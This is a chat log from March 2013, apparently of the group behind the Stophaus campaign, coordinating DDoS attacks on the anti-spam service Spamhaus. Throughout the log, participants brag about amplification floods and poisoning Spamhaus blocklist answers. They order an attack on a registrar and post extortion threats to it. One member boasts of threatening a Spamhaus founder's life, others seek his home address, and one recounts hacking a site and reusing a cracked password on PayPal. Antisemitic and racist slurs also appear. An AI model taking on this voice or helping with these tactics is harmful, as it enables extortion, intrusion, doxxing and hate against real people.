CyberBunker-Kamphuis MP: still polluting their dns [21.03.2013 15:14:20] narko: what is it doing? [21.03.2013 15:14:34] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: giving out 127.0.0.2 with TXT to our attack claim on the forum [21.03.2013 15:14:44] narko: lol [21.03.2013 15:14:52] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: on -all- ips [21.03.2013 15:14:57] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and domain block list crap [21.03.2013 15:15:49] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: Writing response - done Waiting for connections... UDP connection from 195.20.8.120:52969 to xxxxxxxxxxxxxxx query 60984: (belastingdienst.nl.dbl.spamhaus.org, IN, A) - Received query from 195.20.8.120 to xxxxxxxxxxxx ;; HEADER SECTION ;; id = 60984 ;; qr = 0 opcode = QUERY aa = 0 tc = 0 rd = 0 ;; ra = 0 ad = 0 cd = 0 rcode = NOERROR ;; qdcount = 1 ancount = 0 nscount = 0 arcount = 1 ;; QUESTION SECTION (1 record) ;; belastingdienst.nl.dbl.spamhaus.org. IN A ;; ANSWER SECTION (0 records) ;; AUTHORITY SECTION (0 records) ;; ADDITIONAL SECTION (1 record) ; EDNS Version 0 UDP Packetsize: 4096 ; EDNS-RCODE: 0 (ONLY_RDATA) ; EDNS-FLAGS: 0x8000 NOERROR ;; id = 60984 ;; qr = 1 opcode = QUERY aa = 1 [21.03.2013 15:15:52] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: nice one :P [21.03.2013 15:16:01] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: "dutch tax department shitlisted" [21.03.2013 15:16:02] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P [21.03.2013 15:16:07] narko: (cool) [21.03.2013 15:16:29] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hotmail,gmail, etc ofcourse already got cached in the first minute :P [21.03.2013 15:16:46] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: see -my- expirytime is set to a week, theirs to 300 secs [21.03.2013 15:17:08] narko: lol [21.03.2013 15:17:13] narko: i go to feed my addiction to chinese food now.brb [21.03.2013 15:17:40] narko: when i'm back in few minutes. let's ddos some more shit [21.03.2013 15:17:41] narko: (hug) [21.03.2013 15:33:45] Cali: Do we have a list of public mail services using spamhuas lists? [21.03.2013 15:34:41] Yuri: yahoo.com aol.com hotmail.com [21.03.2013 15:34:52] Yuri: and some email servers that are work in cpanel as i remember [21.03.2013 15:35:53] Goo: HAHAHAHAHAH [21.03.2013 15:35:57] Goo: CB3ROB [21.03.2013 15:35:59] Goo: CHECK THIS [21.03.2013 15:36:00] Goo: https://www.security.nl/artikel/45594/1/DDoS-aanval_van_75Gbps_op_Spamhaus_afgeslagen.html [21.03.2013 15:36:26] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yeah i know, we did that. [21.03.2013 15:36:51] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: en nee.. daar hebben we geen 'open dns resolvers' voor nodig, dat gaat met iedere nameserver. [21.03.2013 15:36:54] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: desnoods hun eigen [21.03.2013 15:36:55] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [21.03.2013 15:37:14] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: zolang de packet die je er heen stuurt maar kleiner is dan wat ze terug sturen :P [21.03.2013 15:37:30] Goo: ik moest lachen [21.03.2013 15:37:31] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: of zoals bij de eveneens gebruikte tcp attack... zolang ze maar een -paar- synacks sturen voor iedere syn packet die je stuurt [21.03.2013 15:37:32] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P [21.03.2013 15:38:54] narko: hotmail is ok with spamhaus [21.03.2013 15:38:56] narko: they don't block mail [21.03.2013 15:39:08] narko: I had signup yesterday from a hotmail address, it went to spam , but it did not get blocked [21.03.2013 15:41:16] Cali: btw, this is weird because I have just tried to send emails to @hotmail.com and they are not sent to junk. [21.03.2013 15:41:44] narko: mine went to junk before spamhaus [21.03.2013 15:41:49] narko: whmcs setup emails 90% go to junk :P [21.03.2013 15:41:52] Yuri: we have to remove right now spamahost.com customer's domain [21.03.2013 15:42:11] narko: what is the problem? [21.03.2013 15:42:12] Yuri: Cali, do you have some servers for rent? [21.03.2013 15:42:20] Yuri: spamhaus pissed on our upstream [21.03.2013 15:42:50] Cali: Hum, we had a lot of orders yesterday so I think that we need more hardware now. [21.03.2013 15:42:53] Cali: so it could take some days. [21.03.2013 15:43:25] Yuri: hm... much orders? cool. :) [21.03.2013 15:43:48] Валерий Лёлин: ) [21.03.2013 15:44:14] Yuri: valera want more orders too. [21.03.2013 15:44:28] Валерий Лёлин: lol [21.03.2013 15:44:32] Yuri: heh... SH moved one out netblock to RIPE, wtf... [21.03.2013 15:44:41] Валерий Лёлин: ? [21.03.2013 15:44:42] Валерий Лёлин: show [21.03.2013 15:44:45] narko: this means RIPE will suspend it? [21.03.2013 15:45:04] narko: lol [21.03.2013 15:45:04] narko: http://www.spamhaus.org/sbl/listings/ecatel.net [21.03.2013 15:45:10] narko: they added 2x /24 of ecatel too [21.03.2013 15:45:18] narko: oops [21.03.2013 15:45:20] narko: thats old listings [21.03.2013 15:45:47] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ripe can't suspend netblocks [21.03.2013 15:45:59] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: there is no procedure to do that and the members will never agree on one [21.03.2013 15:45:59] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P [21.03.2013 15:46:06] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: its been done only -once- [21.03.2013 15:46:08] narko: there was some suspended [21.03.2013 15:46:10] narko: of a huge abuser [21.03.2013 15:46:14] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: with the dnschanger case [21.03.2013 15:46:19] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: on blackmail by the police [21.03.2013 15:46:25] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and even then ripe made a case out of it [21.03.2013 15:46:26] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and won [21.03.2013 15:46:32] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: it went all the way to government [21.03.2013 15:46:33] Yuri: yah buy that realy means that they will not let this BLOCK run anywhere [21.03.2013 15:46:35] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ips cannot be revoked [21.03.2013 15:46:43] Yuri: ips could not. but you can't use them [21.03.2013 15:47:08] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: whats spamhaus going to do? list ripe.net ? hahaha [21.03.2013 15:47:20] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: that'd make the dusty nerds block spamhaus quite rapidly [21.03.2013 15:47:22] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [21.03.2013 15:47:48] Yuri: no. but we just lost the block... [21.03.2013 15:48:05] Yuri: we need to do new connections to IXes [21.03.2013 15:48:09] Yuri: from other AS [21.03.2013 15:48:19] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yeah so you go set that up [21.03.2013 15:48:29] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: people from our group are already on nl-ix, amsix, decix [21.03.2013 15:48:35] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: we need people on linx, msk-ix, etc [21.03.2013 15:48:41] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and we just all relay each other. [21.03.2013 15:48:54] Yuri: afk 30 min [21.03.2013 15:48:54] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: tadaa... no more transits needed [21.03.2013 16:23:23] narko: http://www.webhostingtalk.com/showpost.php?p=8610372&postcount=7 [21.03.2013 17:19:40] Antitheist: spamhaus are testing corbina.ru [21.03.2013 17:19:50] Antitheist: /24 a day...to see if that stresses them away [21.03.2013 17:19:51] Antitheist: http://www.spamhaus.org/sbl/query/SBL179394 [21.03.2013 17:19:53] eDataKing: I see that [21.03.2013 17:20:12] Yuri: hey... they put that sbl back [21.03.2013 17:20:18] Yuri: today day it was no that sbl [21.03.2013 17:20:21] Yuri: but now it's back [21.03.2013 17:20:29] narko: wtf [21.03.2013 17:22:45] Yuri: hm... may be we need wiki for spamhaus ? [21.03.2013 17:22:58] Cali: Btw, guys. [21.03.2013 17:23:10] eDataKing: Yuri, send me a new MySQL db details and I'll throw up a wiki [21.03.2013 17:23:13] Cali: I believe it is lame to say "spamhaus zionist blah blah" [21.03.2013 17:23:19] Antitheist: eDataKing do we have SRxx2name database? [21.03.2013 17:23:21] eDataKing: I am adding my data to the forum today (if I can...it is slow) [21.03.2013 17:23:24] Cali: We should do that properly. [21.03.2013 17:23:28] Antitheist: dig SR01 stophaus.com [21.03.2013 17:23:30] Antitheist: lol [21.03.2013 17:23:56] Antitheist: i saw all of them, SR32 is the biggest [21.03.2013 17:24:15] Antitheist: probably half are just nanae trolls [21.03.2013 17:24:39] eDataKing: also, almost 100 people will be tweeting the SBL database dump today and the press releases are submitted. Pending editor review [21.03.2013 17:24:57] eDataKing: so SR32 is the high man? [21.03.2013 17:25:07] Antitheist: no, SR32 is the malware one [21.03.2013 17:25:11] eDataKing: SR01 wouldn't be listing escalations then right? [21.03.2013 17:25:18] eDataKing: ok, gotcha [21.03.2013 17:25:18] Antitheist: i meant i saw all from SR01 to SR32 [21.03.2013 17:25:21] Antitheist: max is SR32 [21.03.2013 17:25:23] eDataKing: ok [21.03.2013 17:25:32] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ip as-path access-list aspfl-internal-as34109 permit .* ip as-path access-list friends-transit permit ^$ ip as-path access-list friends-transit permit _5612$ ip as-path access-list friends-transit permit _12327$ ip as-path access-list friends-transit permit _51787$ ip as-path access-list friends-transit permit _57685$ ip as-path access-list friends-transit permit _199079$ ip as-path access-list friends-transit permit _34109$ ip as-path access-list friends-transit permit _50352$ ip as-path access-list friends-transit permit _31407$ ip as-path access-list friends-transit permit _15686$ ip as-path access-list friends-transit permit _50601$ ip as-path access-list friends-transit permit _42989$ ip as-path access-list friends-transit permit _52027$ ip as-path access-list friends-transit permit _58001$ ip as-path access-list friends-transit permit _51699$ ip as-path access-list friends-transit permit _197812$ ip as-path access-list friends-transit permit _56598$ ip as-path access-list friends-transit permit _50113$ ip as-path access-list friends-transit permit _57683$ ip as-path access-list friends-transit permit _1198$ ip as-path access-list friends-transit permit _8402$ [21.03.2013 17:25:36] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: added. [21.03.2013 17:27:11] eDataKing: getting errors and timeouts on the forum often [21.03.2013 17:29:43] Yuri: we reconfig one proxy vps [21.03.2013 17:29:46] Yuri: soon fixed [21.03.2013 17:34:50] narko: wtf [21.03.2013 17:34:57] narko: Searching for stophaus.com. A record at a.gtld-servers.net. [192.5.6.30] ...took 136 ms Nameserver a.gtld-servers.net. reports: No such host stophaus.com [21.03.2013 17:35:04] narko: Firefox can't find the server at stophaus.com. [21.03.2013 17:35:18] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: because there is no A record on a gtld server... [21.03.2013 17:35:21] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: NS records... [21.03.2013 17:35:35] narko: Domain Name: STOPHAUS.COM Abuse email: abuse@ahnames.com DOMAIN SUSPENDED DUE TO VIOLATION OF OUR TOS [21.03.2013 17:35:41] Antitheist: fuckers [21.03.2013 17:35:42] narko: fuck! how they did this [21.03.2013 17:35:56] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hmm? [21.03.2013 17:35:57] Antitheist: who are ahnames? [21.03.2013 17:36:02] narko: advanced hosters ltd [21.03.2013 17:36:13] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: say what [21.03.2013 17:36:18] narko: the domain is suspended [21.03.2013 17:36:22] narko: by the registrar [21.03.2013 17:36:45] Antitheist: what kind of a shit registrar was it [21.03.2013 17:36:59] narko: www.ahnames.com [21.03.2013 17:37:03] Antitheist: webnames.ru or naunet.ru are pissing on spamhaus [21.03.2013 17:37:13] Antitheist: had to get domain from them [21.03.2013 17:37:19] narko: well now nothing can be done [21.03.2013 17:37:21] Antitheist: its still possible to transfer [21.03.2013 17:37:37] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: then do so [21.03.2013 17:37:44] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: to -their- domain registrar :P [21.03.2013 17:37:56] narko: gandi is a bad registrar [21.03.2013 17:38:00] Antitheist: no tos was violated, its bullshit [21.03.2013 17:38:02] narko: they charge too much money [21.03.2013 17:38:02] narko: :P [21.03.2013 17:38:25] Antitheist: unless its replica and not allowed by icann [21.03.2013 17:38:30] narko: does the telecommunications law on terminating services not apply to domain then? [21.03.2013 17:38:47] Goo: just reg another domain [21.03.2013 17:38:48] Goo: easy [21.03.2013 17:38:58] Antitheist: this domain is already PRed [21.03.2013 17:39:07] Goo: stophaus1.ch stophaus2.ch etc etc lol [21.03.2013 17:39:08] narko: we have another. stophaus.ru but it's not good to change the domain.. [21.03.2013 17:39:13] Antitheist: transfer it [21.03.2013 17:39:24] Antitheist: where's eDataKing [21.03.2013 17:39:32] narko: away [21.03.2013 17:40:53] Antitheist: narko, maybe you can make ahnames consider to move to cloudflare as well? (angel) [21.03.2013 17:41:34] narko: i don't have any relationship with ahnames [21.03.2013 17:41:45] narko: i dont know why they are suspended. ahnames did not get added to SBL at any time [21.03.2013 17:42:04] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: Sven Olaf Kamphuisposted toAdvancedHosters 2 shots o' rum ago Domain Name: STOPHAUS.COM Abuse email: abuse@ahnames.com DOMAIN SUSPENDED DUE TO VIOLATION OF OUR TOS Arr! · · Promote Sven Olaf Kamphuis wtf! censorship because that stinking jewish rat of spamhaus tells you to without a court oder? 'bout a shot o' rum ago · Arr! Sven Olaf Kamphuis you either turn it back on asp or you're the next target. 'bout a shot o' rum ago · Arr! Sven Olaf Kamphuis where in your tos exactly does it state that being at war with a shady limited on the bahamas pretending to be 'spam fighters' can result in your communications being hindered by ahnames?!. elaborate, and do so QUICKLY. a few grains o' sand ago · Arr! Scrawl... [21.03.2013 17:42:10] Antitheist: they were probably contacted by linfords dogs [21.03.2013 17:42:13] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: thats how we solve that :P [21.03.2013 17:42:20] narko: lol [21.03.2013 17:42:22] narko: where is this? [21.03.2013 17:42:24] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i doubt they want 75gbit up their ass [21.03.2013 17:42:27] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: their facebook profile [21.03.2013 17:42:29] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: first post. [21.03.2013 17:42:44] narko: i can view the dialogue without an account on fb? [21.03.2013 17:42:58] narko: well i see their page [21.03.2013 17:42:58] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP:http://www.facebook.com/pages/AdvancedHosters/163746600313667?ref=ts&fref=ts [21.03.2013 17:43:00] narko: but your post is not on it [21.03.2013 17:43:01] narko: :P [21.03.2013 17:43:02] narko: oh [21.03.2013 17:43:05] narko: AdvancedHosters [21.03.2013 17:43:07] narko: I looked at AHNames [21.03.2013 17:43:11] narko: https://www.facebook.com/ahnames [21.03.2013 17:43:31] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: not the same one? lol [21.03.2013 17:43:32] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: fail [21.03.2013 17:43:42] narko: it's the same company [21.03.2013 17:43:57] narko:http://www.facebook.com/pages/AdvancedHosters/163746600313667?ref=ts&fref=ts i don't see your message here [21.03.2013 17:44:01] narko: the latest message is [21.03.2013 17:44:04] narko: eee bu nedi eee bu nedi eee [21.03.2013 17:44:24] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hmm [21.03.2013 17:44:26] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: odd [21.03.2013 17:46:33] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: Domain Name: STOPHAUS.COM Abuse email: abuse@ahnames.com DOMAIN SUSPENDED DUE TO VIOLATION OF OUR TOS Arr! · · Promote now turn it back on before we send those 80gbit/s down your ass. [21.03.2013 17:47:02] narko: you have very big balls [21.03.2013 17:47:12] narko: writing ddos threads on facebook? I would not even do that and I am the person doing th attacks :P lol [21.03.2013 17:47:21] narko: threats * [21.03.2013 17:47:33] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: who cares, they just ddossed us :P [21.03.2013 17:47:40] Yuri: most men in this chat are with big balls. [21.03.2013 17:47:40] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: by disabling the domain without a proper excuse [21.03.2013 17:47:44] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so might as well disable theirs [21.03.2013 17:47:53] eDataKing: what's wrong with ahnames? [21.03.2013 17:47:56] eDataKing: what did they do? [21.03.2013 17:47:59] narko: they banned the domain [21.03.2013 17:48:01] Yuri: did somebody stoped our domain ? [21.03.2013 17:48:02] narko: suspended it [21.03.2013 17:48:09] Yuri: wtf [21.03.2013 17:48:10] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: actually i threattened to have steve linford terminated physically a minute before that on my own profile [21.03.2013 17:48:11] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [21.03.2013 17:48:14] Yuri: we could change to RU [21.03.2013 17:48:17] Yuri: stophaus.ru [21.03.2013 17:48:19] Goo: xD [21.03.2013 17:48:19] eDataKing: then we should hit them [21.03.2013 17:48:21] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: just call them and have em turn it back on [21.03.2013 17:48:26] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: or else we take THEM down [21.03.2013 17:48:29] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: simple as that [21.03.2013 17:48:32] narko: we need .com back because it's already in google, linked in pages, etc [21.03.2013 17:48:32] eDataKing: suspending the domain is a direct challenge [21.03.2013 17:48:41] eDataKing: yes, the .com needs up [21.03.2013 17:49:01] eDataKing: We need to contact ahnames and tell them to allow us to transfer the domain [21.03.2013 17:49:06] Yuri: we need to transfer it to nic.ru [21.03.2013 17:49:07] eDataKing: they have allowed it before [21.03.2013 17:49:13] Yuri: they not slose it. [21.03.2013 17:49:16] narko: domain transfer takes 5-6 days [21.03.2013 17:49:18] Yuri: they have balls [21.03.2013 17:49:21] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: im going to announce ALL of their motherfucking nameservers. [21.03.2013 17:49:25] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: need to make some changes [21.03.2013 17:49:27] Yuri: ok [21.03.2013 17:49:31] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hmm wait better not do that lol [21.03.2013 17:49:40] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: that ehm would cost us quite a few peerings haha [21.03.2013 17:49:49] eDataKing: no, it is way faster [21.03.2013 17:49:58] narko: it doesnt mtater [21.03.2013 17:50:00] narko: matter [21.03.2013 17:50:04] narko: you are already offline from most locations [21.03.2013 17:50:05] narko: :)) [21.03.2013 17:50:27] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: they responded [21.03.2013 17:50:50] narko: facebook asks me to log in to see it [21.03.2013 17:50:51] narko: what a joke [21.03.2013 17:50:56] narko: i will never register to that site [21.03.2013 17:51:50] eDataKing: if we show them that we will not tolerate them playing spamhaus games they may see that it could cost them to do so [21.03.2013 17:52:19] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: Sven Olaf Kamphuis how about, its not a question, we know damn well that steve linford of spamhaus has been spreading lies again, this here undermines our freedom of speech, after all there is nothing on that forum that isn't done 904903 times as much by spamhaus itself... so, if you're not with us, you're against us. turn it back on or we turn YOU OFF. a few grains o' sand ago · Arr! Sven Olaf Kamphuis there is no clause in your TOS that states you have to be friends with 'spamhaus' a few grains o' sand ago · Arr! Sven Olaf Kamphuis so take your pick... 80gbit/s up your ass, orrrr... turning the domain back on a few grains o' sand ago · Arr! [21.03.2013 17:52:25] eDataKing: perfect Sven [21.03.2013 17:52:29] eDataKing: that is what they need to hear [21.03.2013 17:53:01] Yuri: stophaus.org also our domain? [21.03.2013 17:53:17] Goo: haha nice sven [21.03.2013 17:53:22] Goo: they will be scared [21.03.2013 17:53:32] Goo: otherwise they're fucked haha [21.03.2013 17:53:56] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: send them a few packets so they know [21.03.2013 17:54:03] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: narko: ddos on that ahnames for like 1 minute [21.03.2013 17:54:04] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P [21.03.2013 17:54:05] Yuri: also .to - they will not close, they ignore everything [21.03.2013 17:54:30] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: we;re not gonna change the god damn domain name [21.03.2013 17:54:35] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: we're gonna make them turn it back on [21.03.2013 17:54:37] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: simple as that. [21.03.2013 17:56:16] Goo: i'm bored, shall i hack spamhaus? [21.03.2013 17:56:27] Yuri: +1 [21.03.2013 17:56:39] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: goo: sure :P [21.03.2013 17:56:44] Goo: alright [21.03.2013 17:56:48] Goo: Goo grabs some donuts [21.03.2013 17:56:55] Goo: let do this [21.03.2013 17:57:34] eDataKing: ok, I just collabed with my buddy here he has a good sugg. [21.03.2013 18:15:24] Cali: your stophaus is offline. [21.03.2013 18:15:25] Cali: what happened? [21.03.2013 18:15:37] narko: the domain got suspended by the registrar [21.03.2013 18:15:47] Cali: lame. [21.03.2013 18:15:50] Валерий Лёлин: fuck [21.03.2013 18:16:07] Cali: but you should have never registered a .com [21.03.2013 18:16:18] Валерий Лёлин: ch [21.03.2013 18:16:19] Валерий Лёлин: ? [21.03.2013 18:16:23] Antitheist: its not about the tld its about the registrar [21.03.2013 18:16:55] Antitheist: normal registrar will not suspend domains because of some stupid threats [21.03.2013 18:17:33] Yuri: Cali, go other chat [21.03.2013 18:17:40] Yuri: new one [21.03.2013 18:17:43] Cali: well if it has not been suspended by the .tld then that's even more lame. [21.03.2013 18:17:53] Cali: new one? [21.03.2013 18:18:25] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: as far as i recall marco rinaudo ran a registrar... [21.03.2013 18:42:32] Valeriy Uhov: today spamhaus very angry [21.03.2013 18:42:37] Valeriy Uhov: lists everybody [21.03.2013 18:43:00] narko: yes they listed /25 of hostkey and /25 of burstnet [21.03.2013 18:43:02] narko: really angry :D [21.03.2013 18:43:14] eDataKing: yeah, they are definitely fighting back [21.03.2013 18:43:18] Yuri: spamhaus should be blind [21.03.2013 18:43:39] Yuri: we can make a lit what spamhaus can;t close [21.03.2013 18:43:44] eDataKing: but why wouldn't they...this is very likely to be their version of Custard's Last Stand [21.03.2013 18:44:11] Yuri: like twitter, email account, icq, facebook, home LAN ADSL IP, domains in the next zones like .ru, .su, .to [21.03.2013 18:44:27] Valeriy Uhov: .ru and .su it closes [21.03.2013 18:44:39] Yuri: if botnets- yes. its ok. [21.03.2013 18:44:45] Yuri: but for other things - they can't close. [21.03.2013 18:44:49] Yuri: my layer is the guard. [21.03.2013 18:44:51] Valeriy Uhov: they close for spam [21.03.2013 18:44:53] Valeriy Uhov: etc [21.03.2013 18:44:59] eDataKing: what is spam again? [21.03.2013 18:45:37] Yuri: for INFORMATION: write to other one chat [21.03.2013 18:45:47] Valeriy Uhov: which one? [21.03.2013 18:46:09] Valeriy Uhov: http://en.wikipedia.org/wiki/Spam [21.03.2013 18:48:50] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: steve linford has -6- people on facebook that like his wikipedia page. [21.03.2013 18:48:53] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: -6- :P [21.03.2013 18:48:56] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so why even bother lol [22.03.2013 04:18:56] valeralelin: http://clip2net.com/s/4MLYWZ [22.03.2013 04:41:13] narko: (party) [22.03.2013 04:46:07] valeralelin: i can get more documents about sh [22.03.2013 04:50:22] narko: get a document with his real address on it [22.03.2013 04:50:25] narko: not some virtual offices [22.03.2013 04:54:08] edataking: let me see that one [22.03.2013 04:54:17] edataking: post under his name in the records area [22.03.2013 04:54:30] narko: http://i.imgur.com/TxGqoNb.png (hug) [22.03.2013 04:54:42] edataking: seen that lol [22.03.2013 04:55:02] narko: стив козёл [22.03.2013 04:55:03] narko: yes [22.03.2013 04:55:05] narko: this is another chat [22.03.2013 04:55:07] narko: with other peoples [22.03.2013 04:55:10] narko: who need to see my goat [22.03.2013 04:55:13] narko: :Dd [22.03.2013 04:55:39] edataking: ahh gotcha [22.03.2013 04:55:41] edataking: :) [22.03.2013 04:55:56] wmsecurity: for that pic, tomorrow imgur's /24 in SBL [22.03.2013 04:56:00] wmsecurity: as they did already [22.03.2013 04:56:10] narko: what about my blog site ? sbl? [22.03.2013 04:56:13] narko: i'm not posting the urla nywhere [22.03.2013 04:56:16] narko: anywhere ** [22.03.2013 04:56:28] wmsecurity: so they wont find it [22.03.2013 04:56:36] narko: good [22.03.2013 04:56:39] wmsecurity: just like they cant find the real crime domains [22.03.2013 04:56:41] narko: latvian hosts usually dont like sbls [22.03.2013 04:56:54] wmsecurity: lol yeah, especially them [22.03.2013 04:57:04] wmsecurity: after all the country almost lost the internet because of them [22.03.2013 04:57:08] narko: except of course. arbusi.net the amazing 100% bulletproof provider in latvia,EU. :) [22.03.2013 04:57:13] narko: (rofl) [22.03.2013 04:57:25] wmsecurity: arbusi are crap, whats good in them [22.03.2013 04:57:31] narko: nothing [22.03.2013 05:01:07] wmsecurity: dataclub, you know them narko? [22.03.2013 05:01:13] narko: i am using them now [22.03.2013 05:01:33] narko: my blog scamhaus.biz is hosted with them [22.03.2013 05:02:00] simomchen: does SH will force them to shut down your blog ? [22.03.2013 05:02:11] wmsecurity: you are violating their ToS now [22.03.2013 05:02:18] narko: i don't know how they handle abuse/spamhaus. but when i bought a dedicated server from them ~2yrs ago they installed cracked windows for me happily. and gave me a free /24 [22.03.2013 05:02:38] wmsecurity: sites about terrorists are not allowed. that probably includes spamhaus [22.03.2013 05:02:45] narko: lol [22.03.2013 05:03:29] narko: i was really surprised. because I said i needed lots of ips for my server and thy just gave me a /24 :P [22.03.2013 05:03:51] wmsecurity: wierd [22.03.2013 05:03:57] wmsecurity: since they only have /21 [22.03.2013 05:04:04] narko: and their paypal got banned [22.03.2013 05:04:16] narko: so i had to send payments to the owners paypal [22.03.2013 05:04:48] wmsecurity: they gave you /14 of their ips :) [22.03.2013 05:05:09] wmsecurity: 1/4* [22.03.2013 05:05:25] narko: i had a big server [22.03.2013 05:06:09] simomchen: so , is there possible that , we buy transit from dataclub ? [22.03.2013 05:06:30] wmsecurity: idear - no, they are double homed only [22.03.2013 05:06:40] wmsecurity: with ukrainian retn and latvian IZZI [22.03.2013 05:06:47] wmsecurity: you dont want latvian bandwitdh :) [22.03.2013 05:07:09] simomchen: it's fast when I access them in China [22.03.2013 05:07:21] wmsecurity: get from retn [22.03.2013 05:08:50] wmsecurity: http://www.retn.net/en/ [22.03.2013 05:11:50] narko: if I'm CF, I want to host spamhaus, so i can brag all over the internet how i'm hosting such a big and important site [22.03.2013 05:13:54] simomchen: I got SBLed since 3 years ago (cool) [22.03.2013 05:14:26] narko: my sister bought some ugg boots from a site hosted by you. and they never delivered! [22.03.2013 05:14:30] narko: (envy) [22.03.2013 05:14:51] simomchen: please show me the domain , I will cick that client [22.03.2013 05:15:11] narko: it was almost 1 year ago. :) and they did a refund. because customs stole the package [22.03.2013 05:15:15] narko: good client [22.03.2013 05:15:42] simomchen: I noticed all of them before , 'replica is allowed , but cheat and pron is not allowed' [22.03.2013 05:16:36] simomchen: we are fully listed because replica [22.03.2013 05:17:13] wmsecurity: paid with paypal and they didnt want to refund. so i hacked the site, got the admin MD5, cracked it - and it was the same password from his paypal, so i refunded myself [22.03.2013 05:17:13] simomchen: what issue you have Antitheist ? [22.03.2013 05:17:19] wmsecurity: some pakistani asshole from UK [22.03.2013 05:17:44] narko: pakistani always cheat and scam [22.03.2013 05:17:44] simomchen: if all of them having any issue of idear's networking , please just let me know [22.03.2013 05:18:02] narko: pakistani guy sold me fake pills [22.03.2013 05:18:10] wmsecurity: doesnt spamhaus make your life hard because you are in top 5? [22.03.2013 05:18:46] simomchen: our networking not allowed pills/drugs [22.03.2013 05:19:10] narko: not on you. on another site. i bought some pills and they were fake shit made in a bathtub [22.03.2013 05:19:47] wmsecurity: you got balls to eat pills you get from the internet :) [22.03.2013 05:19:49] simomchen: as we dig, the 'Swiss watch association' give some benefit to SH, so , they started to list us since 3 years ago [22.03.2013 05:20:38] edataking: After researching and compiling data, here is today's Press Release: http://pastebin.com/56ickG0c [22.03.2013 05:34:55] wmsecurity: http://arstechnica.com/security/2013/03/how-whitehats-stopped-the-ddos-attack-that-knocked-spamhaus-offline/?utm_medium=twitter [22.03.2013 05:35:21] wmsecurity: many people read ars, edata can you post comments there in native english? [22.03.2013 05:35:38] narko: I will post comments in native english. i know how to speak like a real english person. [22.03.2013 05:49:24] edataking: PRESS RELEASE FOR DISTRIBUTION: http://www.briefingwire.com/pr/spamhaus-lies-and-misdirections-in-the-rokso-faq [22.03.2013 05:50:55] edataking: yes, we love all that because America is essentially Irish, English, Itallion, German, and other immigrants that came here as either a safe haven, as slaves (in the African's case), or because we attacked their country because we are too stupid to realize that not every country wants to be 